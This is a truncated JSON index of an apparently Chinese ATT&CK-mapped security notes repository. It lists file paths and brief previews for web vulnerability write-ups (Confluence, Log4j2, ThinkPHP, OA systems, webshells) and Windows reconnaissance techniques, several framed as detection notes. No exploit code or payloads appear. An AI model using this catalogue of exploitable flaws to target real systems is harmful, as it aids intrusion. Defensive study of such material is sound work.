"preview": "# T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的"
},
{
"path": "Web/2022/T1190-CVE-2022-40127 Apache Airflow代码注入.md",
"chars": 2048,
"preview": "# T1190-CVE-2022-40127 Apache Airflow代码注入\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、"
},
{
"path": "Web/2022/T1190-CVE-2022-42889 Apache Commons Text RCE.md",
"chars": 3060,
"preview": "# T1190-CVE-2022-42889-Apache_Commons_Text_RCE\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可"
},
{
"path": "Web/2023/CVE-2023-23752/T1190-CVE-2023-23752.md",
"chars": 1564,
"preview": "# T1190-CVE-2023-23752-Joomla权限绕过漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏"
},
{
"path": "Web/2023/CVE-2023-25157/T1190-CVE-2023-25157.md",
"chars": 3408,
"preview": "# T1190-CVE-2023-25157-GeoServer OGC Filter SQL注入漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系"
},
{
"path": "Web/2023/CVE-2023-28432/T1190-CVE-2023-28432.md",
"chars": 7572,
"preview": "# T1190-CVE-2023-28432-MinIO集群模式信息泄露漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或"
},
{
"path": "Web/2023/CVE-2023-32315/T1190-CVE-2023-32315-Openfire管理后台认证绕过.md",
"chars": 2237,
"preview": "# T1190-CVE-2023-32315-Openfire管理后台认证绕过\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障"
},
{
"path": "Web/2023/CVE-2023-34843/T1190-CVE-2023-34843.md",
"chars": 909,
"preview": "# T1190-CVE-2023-34843-Traggo Server任意文件读取\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误"
},
{
"path": "Web/2023/CVE-2023-35843/T1190-CVE-2023-35843.md",
"chars": 900,
"preview": "# T1190-CVE-2023-35843 NocoDB任意文件读取\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏"
},
{
"path": "Web/2023/other/NginxWebUI run Cmd远程命令执行.md",
"chars": 3933,
"preview": "# NginxWebUI run Cmd 远程命令执行漏洞---\n## 漏洞描述---\nNginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态"
},
{
"path": "Web/2023/other/Sapido路由器远程命令执行.md",
"chars": 707,
"preview": "# Sapido路由器远程命令执行漏洞\n## 漏洞描述\nSapido路由器存在远程命令执行漏洞,攻击者可通过未授权进入命令执行页面,进而可以root权限执行任意命令。\n## 影响范围\n```\nBR270n-v2.1.03\nBRC76n-v2"
},
{
"path": "Web/2023/other/Smartbi商业智能软件绕过登录.md",
"chars": 988,
"preview": "# Smartbi商业智能软件绕过登录漏洞\n## 漏洞描述\nSmartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分"
},
{
"path": "Web/2023/other/泛微e-cology前台任意用户登录.md",
"chars": 794,
"preview": "# 泛微e-cology前台任意用户登录漏洞\n## 漏洞描述\n泛微新一代移动办公平台e-cology8.0不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology v8."
},
{
"path": "Web/2023/other/瑞友天翼应用虚拟化系统存在远程代码执行.md",
"chars": 2630,
"preview": "# 瑞友天翼应用虚拟化系统存在远程代码执行\n## 漏洞介绍\n瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上,客户端通过WE"
},
{
"path": "Web/2023/other/用友NC Cloud存在前台远程命令执行.md",
"chars": 2042,
"preview": "# 用友NC Cloud存在前台远程命令执行漏洞\n## 漏洞描述\n用友NC及NC Cloud系统存在任意文件上传漏洞,攻击者可通过uapjs(jsinvoke)应用构造恶意请求非法上传后门程序,此漏洞可以给NC服务器预埋后门,从而可以随意操"
},
{
"path": "Web/2023/other/蓝凌oa远程代码执行.md",
"chars": 18845,
"preview": "# 蓝凌oa远程代码执行漏洞\n## 漏洞描述\n蓝凌OA sysSearchMain.do文件存在任意文件写入漏洞,攻击者获取后台权 限后可通过漏洞写入任意文件,也可以通过custom.jsp文件未授权写入恶意文件。\n## 影响范围\n未知\n#"
},
{
"path": "Web/2023/other/金蝶K3Cloud反序列化.md",
"chars": 2963,
"preview": "# 金蝶 K3Cloud 反序列化漏洞-------------\n## 漏洞描述-------------\n由于金蝶云星空能够使用format参数指定数据格式为二进制,攻击者可以 通过发送由BinaryFormatter恶意序列化后的数据让"
},
{
"path": "Web/long time/T1133-001-深信服VPN任意密码重置.md",
"chars": 1316,
"preview": "# T1133-001-深信服VPN任意密码重置\n## 来自ATT&CK的描述\n攻击者可能会利用面向外部的VPN服务来实现最初访问或网络内持久化。VPN服务使用户可以从外部位置连接到内部企业网络资源。\n通常需要有效帐户才能使用该服务,这可以"
},
{
"path": "Web/long time/T1190- Apache Log4j2漏洞利用检测.md",
"chars": 7041,
"preview": "# T1190- Apache Log4j2漏洞利用检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程"
},
{
"path": "Web/long time/T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md",
"chars": 1787,
"preview": "# T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是"
},
{
"path": "Web/long time/T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md",
"chars": 2603,
"preview": "# T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错"
},
{
"path": "Web/long time/T1190-CVE-2010-1870-S2-005远程代码执行.md",
"chars": 3341,
"preview": "# T1190-CVE-2010-1870-S2-005远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞"
},
{
"path": "Web/long time/T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md",
"chars": 3288,
"preview": "# T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能"
},
{
"path": "Web/long time/T1190-CVE-2018-2894-Weblogic任意文件上传检测.md",
"chars": 1610,
"preview": "# T1190-CVE-2018-2894-Weblogic任意文件上传检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或"
},
{
"path": "Web/long time/T1190-CVE-2019-19781-远程代码执行检测.md",
"chars": 1797,
"preview": "# T1190-CVE-2019-19781远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程"
},
{
"path": "Web/long time/T1190-CVE-2019-3398-Confluence路径穿越漏洞.md",
"chars": 1996,
"preview": "# T1190-CVE-2019-3398 Confluence路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或"
},
{
"path": "Web/long time/T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md",
"chars": 24120,
"preview": "# T1190-CVE-2019-6339-Drupal 远程代码执行漏洞------\n## 来自ATT&CK的描述------\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的"
},
{
"path": "Web/long time/T1190-Influxdb<1.7.6未授权访问漏洞.md",
"chars": 2080,
"preview": "# T1190-Influxdb<1.7.6未授权访问漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用"
},
{
"path": "Web/long time/T1190-IvBulletin5.X-RCE检测.md",
"chars": 4796,
"preview": "# T1190-vBulletin5.X-RCE检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通"
},
{
"path": "Web/long time/T1190-JumpServer v2.6.1 RCE攻击检测.md",
"chars": 1543,
"preview": "# T1190-JumpServer v2.6.1 RCE攻击检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。"
},
{
"path": "Web/long time/T1190-Thinkphp 5.x远程命令执行检测.md",
"chars": 2132,
"preview": "# T1190-Thinkphp 5.x远程命令执行漏洞检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应"
},
{
"path": "Web/long time/T1190-泛微OA任意文件读取.md",
"chars": 1734,
"preview": "# T1190-泛微OA任意文件读取\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可"
},
{
"path": "Web/long time/T1190-通达V11.6-RCE.md",
"chars": 1868,
"preview": "# T1190-通达V11.6-RCE漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,"
},
{
"path": "Web/long time/T1505-003-webshell-冰蝎v2.0.md",
"chars": 6590,
"preview": "# T1505-003-webshell-冰蝎\n## 来自ATT&CK的描述\nWebshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件"
},
{
"path": "Web/long time/T1505-003-webshell-冰蝎v3.0.md",
"chars": 1325,
"preview": "# T1505-003-webshell-冰蝎\n## 来自ATT&CK的描述\nWebshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件"
},
{
"path": "Windows/00其他/T*-win-使用User_Del删除用户.md",
"chars": 1736,
"preview": "# T*-Win-使用User_Del删除用户\n\n## 测试案例\n\n参考下文中提到的User_Del.exe程序删除用户。\n\n<https://github.com/Ryze-T/Windows_API_Tools>\n\n作用:删除用户\n\n用"
},
{
"path": "Windows/01侦察/T1589.001-收集目标组织身份信息-凭证.md",
"chars": 3384,
"preview": "# T1589-001-收集目标组织身份信息-凭证\n\n## 描述\n\n攻击者通过收集目标组织身份信息-凭证(T1589.001)获取受害者的身份数据(如员工姓名、电子邮件地址、用户名、密码等),为后续攻击(如钓鱼 T1566、有效账号 T10"
},
{
"path": "Windows/01侦察/T1589.002-收集目标组织身份信息-邮件地址.md",
"chars": 5778,
"preview": "# T1589-002-收集目标组织身份信息-邮件地址\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的电子邮件地址信息(T1589.002)。这些信息可用于后续攻击活动,包括但不限于目标定位、其他形式的侦察(如搜索"
},
{
"path": "Windows/01侦察/T1589.003-收集目标组织身份信息-员工姓名.md",
"chars": 5896,
"preview": "# T1589-003-收集目标组织身份信息-员工姓名\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的员工姓名信息(T1589.003)。这些信息可用于后续攻击活动,包括推导电子邮件地址、指导其他侦察工作(如搜索开"
},
{
"path": "Windows/01侦察/T1590-win-DNS记录获取.md",
"chars": 7804,
"preview": "# T1590-收集目标组织网络信息-DNS记录获取\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的 DNS 记录信息(T1590)。这些信息可用于目标定位、了解网络架构或指导后续攻击活动(如钓鱼 T1566、有效"
},
{
"path": "Windows/01侦察/T1590.001-收集目标组织网络信息-域属性.md",
"chars": 3398,
"preview": "# T1590-001-收集目标组织网络信息-域属性\n\n## 描述\n攻击者在入侵目标组织之前,可能收集其网络域属性的信息。域属性信息包括目标组织拥有的域名、注册商信息、域名注册人联系方式(如姓名、电子邮件、电话)、公司地址、名称服务器(NS"
},
{
"path": "Windows/01侦察/T1590.002-收集目标组织网络信息-DNS.md",
"chars": 3137,
"preview": "# T1590-002-收集目标组织网络信息-DNS\n\n## 来自ATT&CK的描述\n\n攻击者在入侵目标组织之前,可能收集其DNS相关信息,以了解目标的网络架构和关键资产。DNS信息包括注册的名称服务器、子域名、邮件服务器(MX记录)、其他"
},
{
"path": "Windows/01侦察/T1590.003-收集目标组织网络信息-网络信任关系.md",
"chars": 2989,
"preview": "# T1590-001-收集目标组织网络信息-网络信任关系\n\n## 描述\n\n攻击者在入侵目标组织之前,可能收集其网络信任关系的信息。网络信任关系信息包括与目标组织存在信任连接的第二方或第三方组织/域的详细信息,例如托管服务提供商、承包商、分"
},
{
"path": "Windows/01侦察/T1590.004-收集目标组织网络信息-网络拓扑.md",
"chars": 2726,
"preview": "# T1590-004-收集目标组织网络信息-网络拓扑\n\n## 描述\n\n攻击者在入侵目标组织之前,可能通过多种方式收集其网络拓扑信息。这些信息包括目标网络的物理或逻辑布局,例如内部和外部网络的结构、关键网络设备(如网关、路由器、交换机)的分"
},
{
"path": "Windows/01侦察/T1590.005-收集目标组织网络信息-IP地址.md",
"chars": 1927,
"preview": "# T1590-005-收集目标组织网络信息-IP地址\n\n## 描述\n\n攻击者可能在攻击前收集目标组织的IP地址信息,以了解其网络结构和基础设施。IP地址信息通常包括分配给目标组织的IP地址块、当前使用的IP地址范围等。这些信息可帮助攻击者"
},
{
"path": "Windows/01侦察/T1590.006-收集目标组织网络信息-网络安全设备.md",
"chars": 4943,
"preview": "# T1590-006-收集目标组织网络信息-网络安全设备\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的网络安全设备信息(T1590.006)。这些信息可用于目标定位、了解网络防御能力或指导后续攻击活动(如外"
},
{
"path": "Windows/01侦察/T1591.001-收集目标组织信息-确定物理位置.md",
"chars": 4134,
"preview": "# T1591-001-收集目标组织信息-确定物理位置\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的物理位置信息(T1591.001)。这些信息可用于目标定位、了解组织运营环境或指导后续攻击活动(如钓鱼攻击 "
},
{
"path": "Windows/01侦察/T1591.002-收集目标组织信息-业务关系.md",
"chars": 4308,
"preview": "# T1591-002-收集目标组织信息-业务关系\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务关系的信息(T1591.002)。这些信息可用于目标定位、了解组织的网络访问权限或指导后续攻击活动(如供应链攻"
},
{
"path": "Windows/01侦察/T1591.003-收集目标组织信息-确定业务节奏.md",
"chars": 4435,
"preview": "# T1591-003-收集受害者组织信息-确定业务节奏\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务节奏的信息(T1591.003)。这些信息可用于目标定位、了解组织运营模式或指导后续攻击活动(如供应链攻"
},
{
"path": "Windows/01侦察/T1591.004-收集目标组织信息-确定角色.md",
"chars": 4215,
"preview": "# T1591-004-收集目标组织信息-确定角色\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织内的身份和角色信息(T1591.004)。这些信息可用于目标定位、了解关键人员的职责或指导后续攻击活动(如钓鱼攻击"
},
{
"path": "Windows/01侦察/T1592.001-收集目标组织主机信息-硬件信息.md",
"chars": 4816,
"preview": "# T1592-001-收集目标组织主机信息-硬件信息\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机硬件的信息(T1592.001)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T"
},
{
"path": "Windows/01侦察/T1592.002-收集目标组织主机信息-软件信息.md",
"chars": 4967,
"preview": "# T1592-002-收集目标组织主机信息-软件信息\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机软件的信息(T1592.002)。这些信息可用于目标定位、了解系统配置或指导后续攻击活动(如漏洞利用 T1"
},
{
"path": "Windows/01侦察/T1592.003-收集目标组织主机信息-固件信息.md",
"chars": 4071,
"preview": "# T1592-003-收集目标组织主机信息-固件信息\n\n## 描述\n\n在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机固件的信息(T1592.003)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T"
},
{
"path": "Windows/01侦察/T1592.004-收集目标组织主机信息-客户端配置.md",
"chars": 4726,
"preview": "# T1592.004-收集目标组织主机信息-客户端配置\n\n## 描述\n攻击者在入侵目标组织之前,可能收集目标客户端设备的配置信息,以支持目标定位和攻击规划。客户端配置信息包括操作系统类型/版本、虚拟化环境、体系结构(32位或64位)、语言"
},
{
"path": "Windows/01侦察/T1593.001-搜索开放的域和网站-社交媒体.md",
"chars": 4429,
"preview": "# T1593.001-搜索开放的域和网站-社交媒体\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索社交媒体平台收集目标的公开信息。社交媒体(如LinkedIn、微博、Twitter、Facebook)可能包含有关目标组织或员工的详细"
},
{
"path": "Windows/01侦察/T1593.002-搜索开放的域和网站-搜索引擎.md",
"chars": 5261,
"preview": "# T1593.002-搜索开放的域和网站-搜索引擎\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索引擎收集目标的网络信息。搜索引擎(如Google、Bing、百度)通过爬取在线站点并索引内容,提供丰富的公开信息。攻击者可利用专门的搜"
},
{
"path": "Windows/01侦察/T1594-搜索目标组织所拥有的网站.md",
"chars": 4205,
"preview": "# T1594-搜索受害者所拥有的网站\n\n## 描述\n攻击者在实施攻击前,可能通过搜索目标组织拥有的网站收集可用于目标定位的信息。这些网站可能包含各种关键信息,例如部门或分部的名称、物理位置、员工数据(姓名、角色、联系方式如电子邮件或电话)"
},
{
"path": "Windows/01侦察/T1595.001-主动扫描-扫描地址段.md",
"chars": 3609,
"preview": "# T1595.001-主动扫描_扫描地址段\n\n## 描述\n攻击者在实施攻击前,可能通过扫描IP地址块收集目标组织的网络信息。公有IP地址通常以地址块或连续地址段分配给组织,攻击者可通过扫描这些地址段识别活跃主机、开放端口、服务版本或其他网"
},
{
"path": "Windows/01侦察/T1595.002-主动扫描-漏洞扫描.md",
"chars": 5585,
"preview": "# T1595-002-主动扫描_漏洞扫描\n\n## 描述\n攻击者在实施攻击前,可能通过漏洞扫描识别目标的潜在弱点。漏洞扫描通常针对目标主机或应用程序,检查其配置、软件版本或已知漏洞(如CVE)。这些扫描可能涉及收集服务器Banner、开放端"
},
{
"path": "Windows/01侦察/T1596.001-搜索开放的技术数据库-DNS_被动DNS.md",
"chars": 4681,
"preview": "# T1596-001-搜索开放的技术数据库-DNS/被动DNS\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索公开的DNS或被动DNS数据库收集目标的网络信息。DNS数据包含域名解析信息,如A记录(IP地址)、MX记录(邮件服务器)"
},
{
"path": "Windows/01侦察/T1596.002-搜索开放的技术数据库-WHOIS.md",
"chars": 3429,
"preview": "# T1596-002-搜索开放的技术数据库-WHOIS\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索公开的WHOIS数据库收集目标的网络信息。WHOIS数据库由区域互联网注册中心(RIR)维护,存储有关注册域名的详细信息,例如域名"
},
{
"path": "Windows/01侦察/T1596.003-搜索开放的技术数据库-数字签名.md",
"chars": 3273,
"preview": "# T1596-003-搜索开放的技术数据库-数字签名\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索公开的数字证书数据收集目标的网络信息。数字证书由证书颁发机构(CA)签发,用于验证签名内容的来源(如HTTPS SSL/TLS通信)"
},
{
"path": "Windows/01侦察/T1596.004-搜索开放的技术数据库-CDN.md",
"chars": 3363,
"preview": "# T1596-004-搜索开放的技术数据库-CDN\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索内容分发网络(CDN)相关数据收集目标的网络信息。CDN通过分布式服务器阵列为组织提供内容托管服务,并支持根据请求者的地理区域优化内容"
},
{
"path": "Windows/01侦察/T1596.005-搜索开放的技术数据库-公开的扫描数据库.md",
"chars": 3004,
"preview": "# T1596-005-搜索开放的技术数据库-公开的扫描数据库\n\n## 描述\n攻击者在入侵目标组织之前,可能通过搜索公开的扫描数据库收集目标的网络信息。这些数据库通常包含通过互联网扫描收集的数据,例如活跃IP地址、主机名、开放端口、SSL证"
},
{
"path": "Windows/02资源开发/T1583.001-获取基础设施-域名.md",
"chars": 3775,
"preview": "# T1583-001-获取基础设施-域名\n\n## 描述\n攻击者在入侵目标组织之前,可能购买或注册域名以支持目标定位和攻击执行。域名是人类可读的名称,用于表示一个或多个IP地址,可通过域名注册商购买或在某些情况下免费获得。攻击者可能利用这些"
},
{
"path": "Windows/02资源开发/T1583.002-获取基础设施-DNS服务.md",
"chars": 5342,
"preview": "# T1583-002-获取基础设施-DNS服务\n\n## 描述\n攻击者在入侵目标组织之前,可能设置并控制自己的域名系统(DNS)服务器,以支持目标定位和攻击执行。通过运行自有DNS服务器,攻击者可以实现对DNS流量的精细控制,用于命令与控制"
},
{
"path": "Windows/02资源开发/T1583.003-获取基础设施-虚拟专用服务器.md",
"chars": 4636,
"preview": "# T1583-003-获取基础设施-虚拟专用服务器\n\n## 描述\n攻击者在入侵目标组织之前,可能租用虚拟专用服务器(VPS)以支持目标定位和攻击执行。VPS是一种通过虚拟化技术(如容器或虚拟机)将物理服务器分割为多个独立虚拟服务器的服务,"
},
{
"path": "Windows/02资源开发/T1583.004-获取基础设施-服务器.md",
"chars": 4714,
"preview": "# T1583-004-获取基础设施-服务器\n\n## 描述\n攻击者在入侵目标组织之前,可能购买、租用或租赁物理或虚拟服务器以支持目标定位和攻击执行。服务器可以是物理硬件、托管在数据中心的专用服务器,或者基于云的虚拟服务器。与入侵第三方服务器"
},
{
"path": "Windows/02资源开发/T1583.005-获取基础设施-僵尸网络.md",
"chars": 4573,
"preview": "# T1583-005-获取基础设施-僵尸网络\n\n## 描述\n攻击者在入侵目标组织之前,可能通过购买、租赁或租用僵尸网络(Botnet)来支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络,这些主机通过恶意软件(如僵尸程序)被控制"
},
{
"path": "Windows/02资源开发/T1583.006-获取基础设施-web服务.md",
"chars": 5096,
"preview": "# T1583-006-获取基础设施-web服务\n\n## 描述\n攻击者在入侵目标组织之前,可能注册或利用现有的Web服务以支持目标定位和攻击执行。Web服务包括社交媒体平台(如Twitter、Facebook)、云存储服务(如Google "
},
{
"path": "Windows/02资源开发/T1584.001-入侵基础设施-域名.md",
"chars": 4797,
"preview": "# T1584-001-入侵基础设施-域名\n\n## 描述\n在入侵目标组织之前,攻击者可能通过劫持域名或子域名来支持目标定位和攻击执行。域名劫持是指未经授权控制域名或子域名,通常通过利用域名注册流程或相关账户的弱点实现。攻击者可利用劫持的域名"
},
{
"path": "Windows/02资源开发/T1584.002-入侵基础设施-DNS服务.md",
"chars": 4690,
"preview": "# T1584-002-入侵基础设施-DNS服务\n\n## 描述\n在入侵目标组织之前,攻击者可能通过劫持第三方域名系统(DNS)服务器来支持目标定位和攻击执行。相比于自建DNS服务器,攻击者可能选择入侵现有的DNS服务器以获取对DNS流量的控"
},
{
"path": "Windows/02资源开发/T1584.003-入侵基础设施-虚拟专用服务器.md",
"chars": 5606,
"preview": "# T1584-003-入侵基础设施-虚拟专用服务器\n\n## 描述\n在入侵目标组织之前,攻击者可能通过劫持第三方虚拟专用服务器(VPS)来支持目标定位和攻击执行。VPS是一种通过虚拟化技术(如容器或虚拟机)将物理服务器分割为多个独立虚拟服务"
},
{
"path": "Windows/02资源开发/T1584.004-入侵基础设施-服务器.md",
"chars": 6013,
"preview": "# T1584-004-入侵基础设施-服务器\n\n## 描述\n在入侵目标组织之前,攻击者可能通过劫持第三方服务器来支持目标定位和攻击执行。这些服务器可以是物理服务器、虚拟服务器或网络服务器(Web服务器),常被称为“肉鸡”或跳板机。攻击者通过"
},
{
"path": "Windows/02资源开发/T1584.005-入侵基础设施-僵尸网络.md",
"chars": 6090,
"preview": "# T1584-005-入侵基础设施-僵尸网络\n\n## 描述\n在入侵目标组织之前,攻击者可能通过入侵多个第三方系统,组建僵尸网络(Botnet)以支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络,这些主机通过恶意软件(如僵尸程序"
},
{
"path": "Windows/02资源开发/T1584.006-入侵基础设施-web服务.md",
"chars": 6361,
"preview": "# T1584-006-入侵基础设施-web服务\n\n## 描述\n在入侵目标组织之前,攻击者可能通过劫持第三方Web服务来支持目标定位和攻击执行。Web服务包括社交媒体平台(如Twitter、Facebook)、云存储服务(如Google D"
},
{
"path": "Windows/02资源开发/T1585.001-创建账户-社交媒体账户.md",
"chars": 5087,
"preview": "# T1585-001-创建账户-社交媒体账户\n\n## 描述\n在入侵目标组织之前,攻击者可能创建社交媒体账户以支持目标定位和攻击执行。这些账户通常在平台如Twitter、Boss直聘、微信、QQ或TikTok上注册,用于构建虚假或冒充的角色"
},
{
"path": "Windows/02资源开发/T1585.002-创建账户-电子邮箱账户.md",
"chars": 5027,
"preview": "# T1583-002-盗取账户-电子邮箱账户\n\n# 描述\n在入侵目标组织之前,攻击者可能创建电子邮箱账户以支持目标定位和攻击执行。这些邮箱账户通常从公共邮件服务提供商(如Gmail、Outlook、ProtonMail)或一次性邮件服务("
},
{
"path": "Windows/02资源开发/T1586.001-盗取账户-社交媒体账户.md",
"chars": 2817,
"preview": "# T1586-001-盗取账户-社交媒体账户\n\n## 描述\n\n在入侵受害者之前,攻击者可能通过盗取社交媒体账户来为后续的目标定位操作做准备。社交媒体账户在涉及社会工程学的攻击中尤为重要,因为它们可以建立在线角色以赢得目标的信任。与创建和维"
},
{
"path": "Windows/02资源开发/T1586.002-盗取账户-电子邮箱账户.md",
"chars": 1315,
"preview": "# T1586-002-盗取账户-电子邮箱账户\n\n## 描述\n攻击者在入侵目标之前,可能通过盗取电子邮箱账户来支持目标定位和攻击执行。被盗邮箱账户(如Gmail、Outlook或企业邮箱)因其与目标的信任关系,可用于鱼叉式钓鱼(T1566)"
},
{
"path": "Windows/02资源开发/T1587.001-开发能力-恶意软件.md",
"chars": 1547,
"preview": "# T1587-001-开发能力-恶意软件\n\n## 描述\n\n在入侵目标组织之前,攻击者可能开发恶意软件及其组件,以支持目标定位和攻击执行。恶意软件包括但不限于有效载荷(Payload)、释放程序(Dropper)、后渗透工具、后门(Back"
},
{
"path": "Windows/02资源开发/T1587.002-开发能力-代码签名证书.md",
"chars": 3982,
"preview": "# T1587-002-开发能力-代码签名证书\n\n## 描述\n\n在入侵目标之前,攻击者可能会开发自签名的代码签名证书,用于目标定位期间。代码签名是对可执行文件和脚本进行数字签名的过程,以确认软件作者并确保代码未被更改或破坏。代码签名可为开发"
},
{
"path": "Windows/02资源开发/T1587.003-开发能力-数字证书.md",
"chars": 3971,
"preview": "# T1587-003-开发能力-数字证书\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会开发自签名的SSL/TLS证书,用于目标定位期间。SSL/TLS证书旨在确保通信安全与信任,包含密钥信息、所有者身份信息以及由可信实体验证的数字签名"
},
{
"path": "Windows/02资源开发/T1587.004-开发能力-漏洞利用.md",
"chars": 2505,
"preview": "# T1587-004-开发能力-漏洞利用\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会开发可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性来引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能会开发自己的漏洞,而"
},
{
"path": "Windows/02资源开发/T1588.001-获取能力-恶意软件.md",
"chars": 2297,
"preview": "# T1588-001-获取能力-恶意软件\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的恶意软件和恶意软件组件。恶意软件可能包括有效载荷、释放程序、后渗透工具、后门、加壳程序、C2协议以及创建受感染"
},
{
"path": "Windows/02资源开发/T1588.002-获取能力-工具.md",
"chars": 2280,
"preview": "# T1588-002-获取能力-工具\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的软件工具。工具可以是开源的,也可以是封闭的,免费的或商业的。攻击者可能将原本非恶意的工具(如PsExec)用于恶意"
},
{
